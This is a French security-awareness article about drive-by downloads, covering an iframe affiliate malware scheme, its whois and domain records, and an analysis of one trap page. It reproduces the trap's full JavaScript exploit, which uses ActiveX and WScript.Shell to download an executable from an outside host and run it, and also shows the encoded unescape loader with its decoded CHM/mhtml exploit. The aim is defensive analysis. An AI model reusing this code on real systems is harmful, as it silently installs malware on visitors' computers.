Drive-by download

Drive-by download - Drive-by Install - Drive-by installation - Drive-by popup windows

Téléchargements intempestifs automatiques (sans que l'utilisateur en ait connaissance et sans action de sa part), généralement de parasites, en exploitant une faille d'un logiciel communiquant sur le Net (navigateur, courrielleur, système d'exploitation...).

Désigne des attaques par "téléchargements cachés" qui s'effectuent à l'insu de l'utilisateur lorsqu'il télécharge autre chose ou consulte tout simplement d'un site Web ou sa messagerie (la consultation d'une page Web ou d'un message correspond au téléchargement de divers codes (codes de mise en forme de la page en langage html, code de scripts en langage Javascript etc. ... ) interprétés par le "moteur de rendu" du navigateur internet utilisé (Internet Explorer, Firefox, Opera etc. ...). Le piège peut se trouver dans :

le code d'une page Web lorsqu'il consulte un site web piégé (trapped)
le code html d'un e-mail piégé lorsqu'il consulte un e-mail

le lancement d'une action lorsqu'il croit cliquer, pour la fermer, sur une pseudo bannière publicitaire ou une fenêtre trompeuse. Un pseudo clic de fermeture, trompeur, peut correspondre alors à un clic de lancement d'une action de type "téléchargement" or comme souvent, pour des raisons obscures de "transparence" de l'interaction entre l'utilisateur et l'Internet, les actions sont automatisées pour ne pas interrompre l'utilisateur, l'installation d'un programme exécutable suit automatiquement et silencieusement le téléchargement de tout ce qui est exécutable !

Signalons en ce domaine que la perte, par Microsoft, du procès intenté par Eolas en 1999, à propos des "objets embarqués" avait conduit, durant une période de statuquo commençant aux patch du 13 juin 2007, à l'inhibition par Microsoft de ces automatismes catastrophiques dans Internet Explorer. Suite à l'accord du 24.08.2007 entre les deux belligérants, Microsoft annonce le 09.11.2007 qu'il va ré-introduire dans Internet Explorer le téléchargement et l'activation automatique des contrôles ActiveX. Cette modification est prévue pour avril 2008 (probablement avec le Service Pack 3 pour XP et le Service Pack 1 pour Vista). Voir :
Affaire Eolas contre Microsoft.

de l'ingénierie sociale : La majorité des escroqueries dénoncées dans La Crapthèque se fait en convainquant l'utilisateur, par la peur dans une fenêtre trompeuse, d'acheter un produit crapuleux.
le code d'une application à installer qui s'avère être un cheval de Troie (Exemple : KaZaA est l'archétype du cheval de Troie - document pdf français).

Le simple chargement de la page Web ou de l'e-mail ou le clic trompeur ou le téléchargement de l'application conduit au téléchargement simultané et masqué d'un autre objet, parasitaire et hostile.

Les sites ou e-mail piégés déposent et installent sur l'ordinateur de l'utilisateur, grâce à des technologies scélérates comme ActiveX, un logiciel de prise de contrôle à distance de l'ordinateur (un RAT - Remote Administration Tool) ou tout autre type de parasites (un backdoor pour ouvrir l'ordinateur et y revenir plus tard, un keylogger pour capturer les touches frappées au clavier et voler ainsi les mots de passe et références des comptes financiers et bancaires, un downloader qui prendra ensuite en charge le téléchargement et l'installation d'autres parasites "plus gros" etc. ...).

Les logiciels parasites ainsi implantés à votre insu dans votre ordinateur à cause de l'utilisation d'Internet Explorer en tant que navigateur avec ses technologies hors de tout standard du Net (ActiveX, BHOs) et son paramétrage scandaleusement ouvert par défaut, ainsi qu'à cause de la non-utilisation d'un pare-feu (firewall) ou de l'utilisation du pseudo pare-feu intégré à Windows (ne jamais utiliser ce gadget) sont de toutes natures mais peuvent être réduits à quelques grandes catégories :

Logiciels espions (spywares)
Les spywares volent et envoient vos informations personnelles à des tiers crapuleux, à votre total insu, sans que vous puissiez vous y opposer et sans votre consentement.
Logiciels publicitaires (adwares et hijackers)
Les adwares et les hijackers génèrent des revenus pour celui qui les a implantés dans votre ordinateur. Les adwares vous adressent des publicités ciblées grâce à une autre forme d'espionnage, celle de votre comportement afin d’établir vos profils (psychologique, financier, de consommateur, sexuel, religieux, politique, de santé etc. …). Les hijackers modifient les réglages et le comportement de votre ordinateur pour vous dirriger constemment vers un site marchant affilié à la crapule qui a pénétré votre machine. Nota : Les données pour cerner vos profils peuvent être recoupées avec celles de tous vos déplacements, détails des achats en super-marchés, consommations de toutes natures (passages aux stations d’essence, restaurants, achats d’électroménager ou d’une voiture ou d’un gadget, location ou achat de quels films, visite de monuments, hôtels, etc. …) à cause de vos paiements par un moyen vérifié électroniquement de vos achats (carte bancaire, chèque…) – chaque passage à une caisse enregistreuse permet d’enregistrer vos moindres faits et gestes, détaillés et à la seconde prêt.
Capteurs, Voleurs, Révélateurs, Craqueurs de mot de passe
Les PassWord capture, revealer, cracker, stealer...) sont de différentes natures techniques, comme les capteurs de frappes au clavier (keyloggers), ils espionnent de manière ciblées les mots de passe afin de les retourner contre vous par la suite (attaque de vos comptes bancaires, de vos login Internet, de vos fichiers cryptés, de vos comptes de messagerie etc. ...).
Outils d'administration à distance
Les RATs - Remote Administration Tools permettent la prise de contrôle totale et à distance d'un ordinateur. Très utilisés en télédiagnostic et en télémaintenance informatique, ils donnent exactement les mêmes pouvoirs de contrôle total à distance d'une machine aux crapules du Net (spécialité des maffias russes et de groupes criminels partout dans le monde).
Numéroteurs téléphonique
Les dialers composent des numéros de téléphone en utilisant vos modems. C'est vous qui appelez, à votre insu, des numéros lourdement surtaxés, parfois satellitaires, au profit de tiers crapuleux situés dans des zones géographiques du monde totalement hors de portée de nos juridictions.

Exemples :

Site Web Piégé - Drive-by download simple
Utilisation d'un <IFRAME> tentant d'implanter le crapware Spyware-Sweeper.

Sites Web piégés
Assiste.com maintient une liste noire de blocage de sites Web piégés que vous devriez télécharger et installer.

iframedollars.com et iframedollars.biz
Ces sites sont fermés en août 2006 mais ils en ont ouvert d'autres, identiques, fonctionnant toujours à la date du test - voir plus bas), proposent aux webmasters de piéger leurs sites. Ils rémunèrent les webmaster à raison de 61$ par tranche de 1000 internautes piégés (il s'agit d'utiliser une faille de sécurité, grâce à un iFrame (iFrame Exploit), pour installer un dialer et hijacker la page de démarage Internet du système). Ils se décrivent eux-mêmes : "Partnership program. We buy iframe traffic. $61/1000 unique installs or it's up to 15$ per 1000 unique visitors. Weekly payments. Payment by Fethard, Webmoney, E-Gold, Wire" - "traffic purchase iframe trafic traff traf adult webmaster partnership affiliate program afiliate exploit fethard fet webmoney wm i-frame money dollars purchase traffic trade buy toolbar dialer homepage unique visitors $ installs refferal system referral". Les Webmasters interressés à rejoindre le réseau iframedollars doivent simplement envoyer l'URL de leur site, une approximation du traffic sur leur site et un compte bancaire à créditer. En échange, ils recoivent un bout de code html à insérer dans les pages de leurs sites. Les visiteurs de leurs sites, utilisant une version de Windows et d'Internet Explorer pas à jour des correctifs contre les failles de sécurité (dont la faille "Iframe Exploit"), sont automatiquement et silencieusement piégés. Un downloader est silencieusement installé qui va, à son tour, silencieusement installer 111 (cent onze) parasites dont d'autres downloader, des backdoors, le parasite MediaTickets, l'adware de Clickspring LLC, des pop-up lui permettant d'encaisser l'argent de ventes de logiciels n'existant pas, un faux notepad.exe en remplacement de celui de Windows etc. ...!

Whois :
Hober Aus
Ezhi Brozkevitsh
Al. Armii Ludowej 24
Warszawa
Warazawa,00-609
Poland
Tel. +22.5798400
Creation Date: 02-Oct-2004
Expiration Date: 03-Oct-2007
webmaster@iframedollars.com

Iframecash.biz
Whois : c'est exactement le même propriétaire que ci-dessus (une petite modification , un "1" ajouté, à la fin du nom, pour tromper les robots de recherches des groupes anti-spam et autres "monsieur Propre" du Net construisant des listes noires de blocage) :
Ezhi Brozkevitsh1
Hober Aus1
Al. Armii Ludowej 24
Warszawa
Warazawa
00-609
Poland
PL
+22.5798400

Meta description : Partnership program. We buy iframe traffic. $61/1000 unique installs or it's up to 15$ per 1000 unique visitors. Weekly payments. Payment by Fethard, Webmoney, E-Gold, Wire
Meta Keywords: traffic purchase iframe trafic traff traf adult webmaster partnership affiliate program afiliate exploit fethard fet webmoney wm i-frame money dollars purchase traffic trade buy toolbar dialer homepage unique visitors $ installs refferal system referral

Image f-secure

Image f-secure

Ils utilisent des failles de sécurité et la technique des iFrames pour attaquer les PCs. La faille a pourtant été documentée et corrigée depuis :
Allerte du 27 décembre 2005 : Cert US - Microsoft Windows Metafile handler SETABORTPROC GDI Escape vulnerability
Allerte du 28 décembre 2005 : http://www.microsoft.com/technet/security/advisory/912840.mspx
Correction du 5 janvier 2006 : Microsoft Security Bulletin MS06-001

Il y a 10 domaines sur ce serveur - Les noms est adresses donnés sont manifestement des faux - toutes les adresses e-mail sont sur un domaine russe. Bloquer la machine 81.177.15.226

Les domaines sur le serveur 81.177.15.226 sont :

dkgate.biz (Ivan Soto/Passaic/NJ/USA - dkgate@mail.ru - enregistré le 19 juin 2006 - Google )
iframecash.biz (Ezhi Brozkevitsh1/Varsovie/Pologne - iframecash@mail.ru - enregistré le 19 juin 2006 - vide en apparence fin août 2006 - Google )
zabywjwzlr.biz (Greg Roa/Cleves/Ohio/USA - zabywjwzlr@mail.ru - enregistré le 19 juin 2006 - Google )
zbzppbwqmm.biz (Christopher Nolley/Charlotte/New York City/USA - zbzppbwqmm@mail.ru - enregistré le 19 juin 2006 - Google )
zchxsikpgz.biz (Steven Mears/Houston/Texas/USA - zchxsikpgz@mail.ru - enregistré le 19 juin 2006 - Google )
zdfttygzjm.biz (Luke Clark/Rexburg/Idaho/USA - zdfttygzjm@mail.ru - enregistré le 19 juin 2006 - Google )
zetbvdpbjh.biz (John Bridges/Costa Mesa//California/USA - zetbvdpbjh@mail.ru - - enregistré le 20 juin 2006 - Google )
zfwrzemtha.biz (Pringle Hopkins/Columbia/South Carolina/USA - zfwrzemtha@mail.ru - enregistré le 20 juin 2006 - Google )
zgeghrlgro.biz (Arkadiusz Szot/Hammond/Indiana/USA - zgeghrlgro@mail.ru - enregistré le 20 juin 2006 - Google )
zhmbscwdgk.biz (Bill Passmore/Austin/Texas/USA - zhmbscwdgk@mail.ru - enregistré le 21 juin 2006 - Google )

Les domaines se cachent derrières des pages d'accueil faisant croire qu'ils n'existent pas, ou sont vides, ou sont en travaux etc. ... En réalité ils existent et les pièges dans les sites piégés envoient vers des liens profonds. Si l'on se rend sur ce domaine, fonctionnel en août 2006, et localisé en Russie, il fait semblant de ne pas exister : Page d'accueil :

Nota : depuis ce site est téléchargé sur les ordinateurs infectés une version en russe de notepad.exe (probablement pour aider les crapules lors de leurs prises de contrôle à distance après implémentation d'un RAT - Remote Administration Tool).

Après quelques recherches on trouve les objets des attaques conduites par ce groupe actuellement (août 2006) à partir de sites affiliés piégés. Le piège utilise la technologie des iFrames dans Internet Explorer pour contaminer vos machines. Utilisez le couple gagnant Firefox + Thunderbird en remplacement du couple infernal et périmé Internet Explorer + OutLook (ou OutLook Express).

Les sites piégés que vous visitez contiennent juste ce bout de code qui ouvre un iFrame invisible (1 pixel de côté) dans lequel s'exécute le départ du piège :

Un iFrame invisible

Ne pas jouer à ça chez vous !

Ouverture du piège (sous Firefox avec WSH « Windows Scripting Host » désactivé par exemple avec NoScript de Norton (ou l'extension NoScript de Firefox)).
Redirection vers http://uniq-soft.com/adv/new.php?adv=32

Résultat - une page blanche avec :

Initializing...

Exploit failed.

Mais on a le code source du piège et on regarde qui est cet uniq-soft.com

uniq-soft.com sur le serveur 81.177.26.26

Il est localisé à Moscou. Le propriétaire anoncé est
uniq-soft.com (Fedorchenko-mladshiy/Lubyanka/Moscow/Russie 100998 - fedir@ep.ua - enregistré le 9 aout 2006 - Google)
Nota : ua = Ukraine

Le piège. Les liens et les soulignement en gras sont ajoutés par Assiste.com pour montrer ou lancer des recherches immédiates sur Google sur les objets intéressants de cette attaque.

Code du piège

<html><head><title></title>
<script language="javascript">

function Log(m) {
var log = document.createElement('p');
log.innerHTML = m;
document.body.appendChild(log);

}

function CreateO(o, n) {
var r = null;

try { eval('r = o.CreateObject(n)') }catch(e){}

if (! r) {
try { eval('r = o.CreateObject(n, "")') }catch(e){}
}

if (! r) {
try { eval('r = o.CreateObject(n, "", "")') }catch(e){}
}

if (! r) {
try { eval('r = o.GetObject("", n)') }catch(e){}
}

if (! r) {
try { eval('r = o.GetObject(n, "")') }catch(e){}
}

if (! r) {
try { eval('r = o.GetObject(n)') }catch(e){}
}

return(r);
}

function Go(a) {
Log('Creating helper objects...');
var s = CreateO(a, "WScript.Shell");
var o = CreateO(a, "ADODB.Stream");
var e = s.Environment("Process");

Log('Ceating the XMLHTTP object...');
var url = "http://uniq-soft.com/adv/032/win32.exe"; var xml = null;
var bin = e.Item("TEMP")+ "\\" + "metasploit.exe";
var dat;

try { xml=new XMLHttpRequest(); }
catch(e) {
try { xml = new ActiveXObject("Microsoft.XMLHTTP"); }
catch(e) {
xml = new ActiveXObject("MSXML2.ServerXMLHTTP");
}
}

if (! xml) return(0);

Log('Downloading the payload...');
xml.open("GET", url, false)
xml.send(null);
dat = xml.responseBody;

Log('Writing the payload to disk...');
o.Type = 1;
o.Mode = 3;
o.Open();
o.Write(dat);
o.SaveToFile(bin, 2);

Log('Executing the payload...');
s.Run(bin,0);
}

function Exploit() {
var i = 0;
var t = new Array(

'{BD96C556-65A3-11D0-983A-00C04FC29E36}',

'{AB9BCEDD-EC7E-47E1-9322-D4A210617116}',

'{0006F033-0000-0000-C000-000000000046}',

'{0006F03A-0000-0000-C000-000000000046}',

'{6e32070a-766d-4ee6-879c-dc1fa91d2fc3}',

'{6414512B-B978-451D-A0D8-FCFDF33E833C}',

'{7F5B7F63-F06F-4331-8A26-339E03C0AE3D}',

'{06723E09-F4C2-43c8-8358-09FCD1DB0766}',

'{639F725F-1B2D-4831-A9FD-874847682010}',

'{BA018599-1DB3-44f9-83B4-461454C84BF8}',

'{D0C07D56-7C69-43F1-B4A0-25F5A11FAB19}',

'{E8CCCDDF-CA28-496b-B050-6C07C962476B}',null);

while (t[i]) {
var a = null;

if (t[i].substring(0,1) == '{') {
a = document.createElement("object");
a.setAttribute("classid", "clsid:" + t[i].substring(1, t[i].length - 1));
} else {
try { a = new ActiveXObject(t[i]); } catch(e){}
}

if (a) {
try {
var b = CreateO(a, "WScript.Shell");
if (b) {
Log('Loaded ' + t[i]);
Go(a);
return(0);
}
} catch(e){}
}
i++;
}
Log('Exploit failed.');
}
</script>
</head>
<body onload='Exploit()'>
<p>Initializing...</p>
</body>
</html>

Analyse du piège par les antivirus et les anti-trojans

En se promenant sur uniq-soft.com (il y a des répertoires http://uniq-soft.com/tool1/ , http://uniq-soft.com/vxgame1/ , http://uniq-soft.com/adv/ etc. ... N'y allez pas ! ) on fini par trouver ceci :

uniq-soft.com

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">

<NOSCRIPT>This page uses Javascript</NOSCRIPT>
<SCRIPT LANGUAGE="javascript" TYPE="text/javascript">
document.write(unescape("%3c%68%74%6d%6c%3e%3c%68%65%61%64%3e%3c%74%69%74%6c

%65%3e%3c%2f%74%69%74%6c%65%3e%3c%2f%68%65%61%64%3e%3c%62%6f%64%79%3e"));
document.write(unescape("%0d%0a%0d%0a%3c%73%74%79%6c%65%3e%0d%0a%2a%20%7b%43

%55%52%53%4f%52%3a%20%75%72%6c%28%22%68%74%74%70%3a%2f%2f%75%6e%69%71"));
document.write(unescape("%2d%73%6f%66%74%2e%63%6f%6d%2f%61%64%76%2f%30%33%32%2f

%73%70%6c%6f%69%74%2e%61%6e%72%22%29%7d%0d%0a%3c%2f%73%74%79%6c%65"));
document.write(unescape("%3e%0d%0a%0d%0a%3c%41%50%50%4c%45%54%20%41%52%43%48

%49%56%45%3d%22%63%6f%75%6e%74%2e%6a%61%72%22%20%43%4f%44%45%3d%22%42"));
document.write(unescape("%6c%61%63%6b%42%6f%78%2e%63%6c%61%73%73%22%20%57%49

%44%54%48%3d%31%20%48%45%49%47%48%54%3d%31%3e%0d%0a%3c%50%41%52%41%4d"));
document.write(unescape("%20%4e%41%4d%45%3d%22%75%72%6c%22%20%56%41%4c%55%45

%3d%22%68%74%74%70%3a%2f%2f%75%6e%69%71%2d%73%6f%66%74%2e%63%6f%6d%2f"));
document.write(unescape("%61%64%76%2f%30%33%32%2f%77%69%6e%33%32%2e%65%78%65

%22%3e%3c%2f%41%50%50%4c%45%54%3e%0d%0a%0d%0a%3c%73%63%72%69%70%74%3e"));
document.write(unescape("%0d%0a%74%72%79%7b%0d%0a%64%6f%63%75%6d%65%6e%74%2e

%77%72%69%74%65%28%27%3c%6f%62%6a%65%63%74%20%64%61%74%61%3d%60%26%23"));
document.write(unescape("%31%30%39%26%23%31%31%35%26%23%34%35%26%23%31%30%35

%26%23%31%31%36%26%23%31%31%35%26%23%35%38%26%23%31%30%39%26%23%31%30"));
document.write(unescape("%34%26%23%31%31%36%26%23%31%30%39%26%23%31%30%38%26

%23%35%38%26%23%31%30%32%26%23%31%30%35%26%23%31%30%38%26%23%31%30%31"));
document.write(unescape("%26%23%35%38%26%23%34%37%26%23%34%37%26%23%36%37%26

%23%35%38%26%23%39%32%26%23%31%30%32%26%23%31%31%31%26%23%31%31%31%26"));
document.write(unescape("%23%31%31%31%3b%2e%6d%68%74%21%27%2b%27%68%74%74%70

%3a%2f%2f%75%6e%69%71%2d%73%6f%66%74%2e%63%6f%6d%2f%2f%61%64%76%2f%2f"));
document.write(unescape("%30%33%32%2f%2f%74%61%72%67%2e%63%68%27%2b%27%6d%3a

%3a%2f%74%61%72%67%27%2b%27%65%74%2e%68%74%6d%60%20%74%79%70%65%3d%60"));
document.write(unescape("%74%65%78%74%2f%78%2d%73%63%72%69%70%74%6c%65%74%60

%3e%3c%2f%6f%27%2b%27%62%27%2b%27%6a%65%27%2b%27%63%74%3e%27%29%3b%0d"));
document.write(unescape("%0a%7d%63%61%74%63%68%28%65%29%7b%7d%0d%0a%3c%2f%73

%63%72%69%70%74%3e%0d%0a%0d%0a%3c%2f%62%6f%64%79%3e%3c%2f%68%74%6d%6c"));
document.write(unescape("%3e"));
</SCRIPT>

Premier passage en traduction :
Cette page html contient donc un script JavaScript qui écrit à la volée un autre contenu html avec un autre script JavaScript et c'est le second contenu de cette page qui va être exécuté. Les http sont remplacés par des h__p volontairement.
Remarque : de nombreux caractères sont dans la série non affichable hex:00 à hex:1f
Nous utilisons le transcodeur code / décode de_utf8_vers_echappement %

<html><head><title></title></head><body>

<style>

* {CURSOR: url("h__p://uniq-soft.com/adv/032/sploit.anr")}

</style>

try{

document.write('<object data=`&#109&#115&#45&#105&#116&#115&#58&#109&#104&#116&#109&#108&#58

&#102&#105&#108&#101&#58&#47&#47&#67&#58&#92&#102&#111&#111o.mht!'

+'http://uniq-soft.com//adv//032//targ.ch'+'m::/targ'+'et.htm` type=`text/x-scriptlet`></o'+'b'+'je'+'ct>');

}catch(e){}

</script>

</body></html>

Second passage en traduction :

<html><head><title></title></head><body>
<style>
* {CURSOR: url("h__p://uniq-soft.com/adv/032/sploit.anr")}
</style>
<APPLET ARCHIVE="count.jar" CODE="BlackBox.class" WIDTH=1 HEIGHT=1>
<PARAM NAME="url" VALUE="h__p://uniq-soft.com/adv/032/win32.exe"></APPLET>
<script>
try{
document.write('<object data=`ms-its:mhtml:file://C:\fooo;.mht!'+'h__p://uniq-soft.com//adv//032//targ.ch'

+'m::/targ'+'et.htm` type=`text/x-scriptlet`></o'+'b'+'je'+'ct>');
}catch(e){}
</script>
</body></html>

Nous avons donc décrypté cette attaque et nous l'avons soumise cryptée, puis décryptée, à une batterie de 27 antivirus et anti-trojans.

Ils ne sont que 3 à le voir en crypté (c'est assez affligeant car c'est une attaque connue cryptée en "échappement%" qui n'est même pas un cryptage au sens propre du terme mais un simple encodage primaire et faisant partie des standards de l'Internet).
Ils sont très peu à le voir en décrypté
Le plus surprenant est qu'aucun des 3 qui l'ont vu en crypté ne le voie en décrypté ! Grand mystère.
Silence radio chez les anti-trojans (Ewido, Microsoft...) alors qu'il ne s'agit pas d'un virus.

Ce parasite tente donc d'exploiter, en septembre 2006, la vulnérabilité (faille de sécurité) corrigée en avril 2004 et décrite dans MS04-013 qui n'affecte pas que OutLook Express comme le laisse croire le bulletin Microsoft. L'exploit vise à exécuter à distance du code sans le consentement de l'utilisateur et avec les mêmes niveaux de privilèges que lui. L'ordinateur est compromis au simple accès sur un site piégé (exécution dans un iFrame) ou au click sur une fenêtre ou un lien trompeur ou lorsqu'un e-mail au format html est ouvert (visualisé). Aucun symptôme apparent ne permet de se rendre compte que l'attaque a été conduite est réussie.

Vous devriez travailler en mode "utilisateur normal" et jamais en "mode administrateur". Si vous êtes contraint et forcé de travailler en mode administrateur, lancez vos applications communicantes avec DropMyRights.

L'analyse de la page html décryptée donne :

On télécharge win32.exe (le 30 août 2006) sans installer (bien sûr !) et on teste immédiatement avec VirusTotal ce qui nous donne !

win32.exe

metasploit.exe
Metasploit Framework est une plate-forme open-source avancée de développements, tests et utilisations de codes d'exploits (recherches et exploitations de failles de sécurité). La version actuelle inclue 18 exploits et 27 charges actives (payloads - parasites). http://www.datastronghold.com/archive/t7687.html et http://www.metasploit.com/. Selon les versions, la taille, après compression, est de plus de 10 MO à près de 20 MO et ne peut donc être analysé par VirusTotal ou par Jotti's VirusScan qui limite la taille des fichiers analysés à 10MO maximum.
Guide du développeur Metasploit FrameWork 3 en français
https://www.securinfos.info/metasploit/Guide_Developpeur_Metasploit3.pdf

loadadv412.exe

gcwhv5b8.wm

targ.chm

xpinstall.exe
Ce fichier a été trouvé dans le répertoire temporaire du navigateur après avoir ouvert le piège. Il a été identifié en tant que "donwloader" mais n'est actuellement reconnu par aucun outil à l'heure du test (01 sept 2006 à 01h03).

Fenêtre trompeuse (deceptive window)
Cette fausse fenêtre n'est qu'un immense lien entièrement cliquable - même les boutons d'agrandissement, réduction et fermeture de la fenêtre, en haut à droite, sont faux)

Drive-by download

Drive-by download - Drive-by Install - Drive-by installation - Drive-by popup windows

Nouvelle adresse du site Assiste.com depuis le 22 octobre 2012 : http://assiste.com